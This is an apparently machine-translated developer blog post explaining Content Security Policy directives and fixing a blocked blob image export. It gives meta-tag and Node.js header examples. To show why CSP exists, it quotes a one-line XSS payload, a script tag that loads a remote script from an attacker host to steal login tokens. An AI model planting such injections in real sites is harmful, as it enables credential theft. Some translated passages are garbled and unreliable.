Content Security Policy CSP entry

Lead

System repair company recently exported a picture function, can not be exported pictures

, Refuse to load pictures blob:http://xxxx , violation Content Security Policy , so he google one, what is this stuff?

Content Security Policy

This is the content of the site security, and for the issue of cross-domain site error uncommon, due to cross-domain origin policy caused only allowed to load data from their own origin domain, namely a.com can not be loaded from b. com data, this would resolve most of the security issues, malicious code can not be executed to obtain the user's security privacy in the browser. After all, the "road climbs, the magic goes," malicious party there are always ways to bypass the same origin policy restrictions, such as XSS cross-site scripting attacks, such as the site has a message board function, but the background does not filter user input , an attacker can enter in the message edit box

<script src="http://www.hacker.org/xss.payload.js"></script>
复制代码

, Xss.payload.js can get the old user's browsing information, such as login token, the user's personal information. Previous defenses mainly on user input filter, such as: removing html tags, materialized, keyword filtering, etc. As a result, the end result is that most of the code in the background are doing validation string, very let people uncomfortable. So W3 org introduction of the CSP, which provides protection to the browser from another dimension.

Take a look at the MDN Content Security Policy explanation:

Content Security Policy (CSP) is an extra layer of security to detect and weaken certain types of attacks, including cross-site scripting (XSS) and data injection attacks. Whether it is to steal data, web content or distributing malware contamination, these are the main means of attack.

principle

CSP through a series of rules to tell the browser what resources are strict rules page allows what resources, all within the scope of refusal is not specified, this way, to eliminate the unreliable xss payload from the source.

rule

Whether in <meta>or specified in the header tag, the format of its value is unity, composed by a series of instructions.

Content-Security-Policy: <policy-directive>; <policy-directive>
复制代码

CSP instruction here is predetermined for the determination of the detailed description of a resource, such as the preceding error picture, img-srcspecify the image, some commonly used commands are listed below

  • child-src: for the web workers and other embedded browser content (such as loading pages with content and) to define the legal source address.
  • connect-src: UR restrictions through scripting interface loaded
  • default-src: providing alternate service to other instruction fetch fetch directives.
  • font-src: font setting allows the source address of the @ font-face loading.
  • img-src: pictures and icons to limit the source address
  • frame-src: allowing the source address is provided by a similar label loading and embedded content
  • Restricting the source address of the application manifest file.
  • object-src: source address limits ,, tag.
  • Limited by the source address, or the label media files loaded: media-src.
  • prefetch-src: Specifies the source address to allow the preload or pre-rendered.
  • script-src: source address limitations of JavaScript.
  • style-src: restriction cascading style sheet file source.
  • worker-src: restrictions Worker, SharedWorker or ServiceWorker script source.

For more instructions, see MDN

Acceptable command value

With the subsequent instruction source, there are two writing:

  • default value
  • URI Tsuhaifu

default value

  • none does not match anything.
  • self match the current field, but does not include subdomains. For example, example.com can, api.example.com match will fail.
  • unsafe-inline allows embedded scripts and style.
  • unsafe-eval allow script execution by a string dynamically created, such as eval, setTimeout, etc.

HATE

In addition to the configuration above a preset value, it may also be provided by the full URI or wildcard *to match the address specified resource to legitimate sources, consistent with the respective heads arranged cross-domain reference Same-origin_policy

Approaches

By default, CSP rule if the site is not specified, the browser is not enabled by default, only the affected-origin policy.

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>CSP 安全策略</title>
    <style>
      h1 {
        color: cornflowerblue;
      }
    </style>
  </head>
  <body>
    <h1>Hello CSP !</h1>
    <script>
      window.onload = () => alert("Hi, Jecyu");
    </script>
  </body>
</html>

复制代码

HTML adding tags to specify Content-Security-Policy Rules

 <head>
    ...
     <meta http-equiv="Content-security-Policy" content="default-src 'self'" />
   ...
  </head>
   
复制代码

effect:

The default configuration of the site with the domain information resource only, but note that this set does not contain the situation within the Union, so the result will be as shown above. How to fix it yet. If we want to allow inline scripts or styles within a page, you can add unsafe-inlineto the value of the repair instructions.

<meta  http-equiv="Content-security-Policy"  content="default-src 'self' 'unsafe-inline'"
    />
复制代码

default-src, if its value is specified, the default value is changed corresponding to these instructions are not specified. Can be understood as the above style-src if not specified, the default value is * Originally, the style can be loaded from all sources, but the settings default-src, it becomes the default value specified by default-src value.

Server add Content-Security-Policy response up specified rules

As used herein node.js

const http = require("http");
const fs = require("fs");
const PORT = 8088;
const path = require("path");
console.log();
// 创建一个 http 服务
const server = http.createServer((request, response) => {
  response.setHeader("Content-Type", "text/html;charset='utf-8'");
  response.setHeader("Access-Control-Allow-Origin", "*");
  response.setHeader(
    "Content-security-Policy",
    "default-src 'self' 'unsafe-inline'"
  );
  // 读文件
  fs.readFile(path.resolve(__dirname, "./index.html"), function(err, data) {
    if (err) {
      console.log(`index.html loading is failed` + err);
    } else {
      // 返回 HTML 页面
      response.end(data);
    }
  });
});

// 启动服务,监听端口
server.listen(PORT, () => {
  console.log("服务启动成功,正在监听: ", PORT);
});

复制代码

priority

  • For setting up the case of multiple response headers, the most stringent rules will take effect (either in, or in the header)
  • The same directive specified more than once, with the first subject, the follow-up will be ignored.

Images exported to solve the problem

Request to see the home of response parameters, as follows:

After learning through the front, that can be set by HTML or CSP Header rules, thus avoiding restrictions. Here and is not set img-src, since default-src 'self' data: *;, so images can only load pictures with field data: the value of the prefix

Solution one: Add img-src command

Pictures can be seen directly from set img-src *does not include blobdata rules from content-security-policy.com ,

Therefore, we need to add a claim rule, default-src blob: *orimg-src blob: *

Solution two: convert image formats

In the dynamic setting image src when the first blob into base64form so they comply with the set rules of the CSR, the picture can be added to HTML in the.

   var base64data = "";
   xhr.onload = function() {
          img = new Image();
          var reader = new window.FileReader();
          reader.readAsDataURL(this.response);
          reader.onloadend = function() {
            base64data = reader.result;
            img.src = base64data;
          };
          img.addEventListener(
            "load",
            function() {
              deferred.resolve(img);
              URL.revokeObjectURL(_url);
            },
            false
          );
          img.addEventListener("error", function(errorEvent) {
            deferred.resolve({
              error: errorEvent,
              image: img
            });
            URL.revokeObjectURL(_url);
          });
        };
        xhr.onerror = function() {
          var img = new Image();
          deferred.resolve(img);
        };
        xhr.open("GET", url, true);
        xhr.responseType = "blob";
        xhr.send();
      }
复制代码

Browser Compatibility

(Applause.)

Further reading

Guess you like

Origin blog.csdn.net/weixin_34085658/article/details/91371421